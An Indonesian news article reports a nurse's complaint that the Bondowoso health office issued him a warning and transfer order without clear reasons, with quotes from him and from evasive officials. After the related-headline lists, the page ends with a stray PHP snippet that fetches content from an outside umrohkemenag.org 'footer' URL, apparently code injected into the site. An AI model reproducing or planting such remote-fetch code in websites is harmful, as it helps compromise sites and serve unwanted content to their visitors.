SP dari Kadinkes Tertuju ke Seorang Perawat di Maesan Tanpa Ada Alasan Jelas

Jumat, 1 Maret 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Berita – Jejakkasus.info | Bondowoso – Sebuah Surat Perintah (SP) yang diajukan Kapus Maesan dan dikeluarkan oleh Kadinkes Kabupaten Bondowoso rupanya menuai ke kecewaan dari pihak yang bersangkutan lantaran sifatnya diduga serta-merta. Jum’at (01/03/2024).

Pihak yang menerima Surat Perintah tak berimbang tersebut merupakan Direktur PT. Raung Pimpinan Media RADAR-X yaitu Faisol Abrori yang saat ini bertugas sebagai abdi Negara Perawat di Puskesmas Maesan.

Nomer SP yang dikeluarkan dengan dugaan tanpa ada alasan yang jelas tersebut yaitu 800/1123/430, 9.3/2024, dan ditetapkan oleh Plt dinas kesehatan dr. Slamet Santoso pada 26 Februari 2024.

Keberadaan SP yang ditujukan terhadap Faisol Abrori S,Kep.Ns membuat yang bersangkutan beranggapan bahwa hal tersebut secara mendadak disinyalir hasil rekayasa Kepala Puskesmas (Kapus) beserta KTU Maesan.

Baca Juga:  Alokasi Bantuan Keuangan Desa Jatim TA.2022 ke Tempeh Kidul Lumajang Patut Dipertanyakan

“Saya dipanggil untuk menghadap Kepala dr Yudia Candrawati beserta IKa KTU Puskesmas Maesan, menyampaikan SP tersebut kepada saya, Namun pernyataan maaf saya sampaikan terlebih dahulu untuk bertanya. Ada apa kok tiba-tiba keluar SP seperti ini. Kapus menjawab hal itu dari Dinkes monggo langsung ditanyakan ke Pak Iskandar,” ujar Faisol.

“Intinya Dinkes tidak serta-merta memindah, dan mengeluarkan SP, sebab setau saya SP itu tidak berlaku sejak 2011 lalu.” Kata dia

“Semenjak di PKM Jambesari saya sudah Dinas di Pustu Sumber Jeruk selama 10 tahun. Makanya mengajukan Pindah Ke Puskesmas Maesan, pertama Domisili, Kedua ganti suasana baru biar tidak selalu di Desa, umur semakin tua bukan semakin Muda,” ungkapnya.

“Lah sekarang di pindah tanpa alasan yang pasti dan jelas tau-tau yang sudah Dinas di Rawat Inap PKM Maesan malah di pindah lagi ke Pustu Sumber Anyar, kan Aneh…!” bahkan ada satu lagi perawat yang masih berstatus P3K SP nya dari Dinkes menjadi Koordinator Rawat Inap, kalo secara kedinasan masih belum layak,” cetusnya.

Baca Juga:  Ciptakan Lingkungan Bersih dan Nyaman, Sat Polairud Adakan Kebersihan Kantor

Intinya Dinas Kesehatan semerta merta dalam membuat Surat Perintah (SP) begitu juga pihak Manajemen Puskesmas Maesan, terkhusus Bidang Tata Usaha dan Kepala Puskesmas dr. Yudia Candrawati.

“Hal itu kuat dugaan hasil rekayasa pihak Puskesmas, kalo tidak ada usulan dari Pihak Puskesmas tidak mungkin Dinas itu langsung memindahkan/Membuat Surat Perintah apalagi pindah tempat,” tegasnya.

Sementara itu, ketika wartawan dari media partner JK. Info ini konfirmasi via WhatsApp, Kapus Maesan dr. Yudia Candrawati melemparkan ke Kabag TU Dinkes, sedangkan Plt kepala dinas lempar jawaban terhadap media agar komunikasi dengan Kabag TU yakni Iskandar. Terkesan Plt Kadinkes tersebut tidak memiliki kewenangan sehingga tidak berani menyampaikan pernyataan ke publik.

Baca Juga:  Peringati Hari Jadi Polwan Ke 76, Polisi Wanita Polres Jombang Gelar Bakti Religi

“Komunikasikan dengan pak sekdin dan kabag Tu pak Iskandar ya.” Tutur dr. Slamet.

Sementara itu Kabag TU Iskandar, saat dikonfirmasi justru tidak memberikan jawaban terkait konfirmasi wartawan yang merupakan hal penting tersebut.

“Waalaikum salam, mohon maaf kami masih di prajekan ada tugas dinas.” Kata Iskandar.

Padahal sebelumnya awak media sudah menyampaikan ke Iskandar bahwa wartawan diminta oleh Plt Dinkes yakni atasannya agar komunikasi dengan Iskandar, namun Iskandar justru mengabadikannya. (Yus)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kunjungan Kepala Dinas Pendidikan Provinsi Jatim Ke Kabupaten Jombang
Tambang Galian C Desa Tugu, Kecamatan Wates, Kabupaten Kediri dalam Monitoring Ketua Umum LSM Gimicak
Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja
Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat
Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras
Rayon Barat Polresta Sidoarjo Apel Bersama Oprasi Cooling System Tahun 2024 .
Wahyudi Dengan Tegas Menolak Kebijakan Pemerintah Yang Menaikan E Retribusi Di Situasi-Kondisi Pasar Sepi Dan Memprihatinkan Saat Ini
Waka II DPRD Badung I Made Wijaya Soroti: Peraturan Berbenturan,Nasib Tanah Negara Di Pererenan Menggantung

Berita Terkait

Jumat, 4 Oktober 2024 - 20:42 WIB

Kunjungan Kepala Dinas Pendidikan Provinsi Jatim Ke Kabupaten Jombang

Jumat, 4 Oktober 2024 - 20:06 WIB

Tambang Galian C Desa Tugu, Kecamatan Wates, Kabupaten Kediri dalam Monitoring Ketua Umum LSM Gimicak

Jumat, 4 Oktober 2024 - 11:38 WIB

Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja

Jumat, 4 Oktober 2024 - 00:48 WIB

Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat

Jumat, 4 Oktober 2024 - 00:47 WIB

Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras

Berita Terbaru

Berita Utama

Kapolres Pringsewu Serukan Pilkada Damai Tanpa Diskriminasi

Jumat, 4 Okt 2024 - 19:31 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>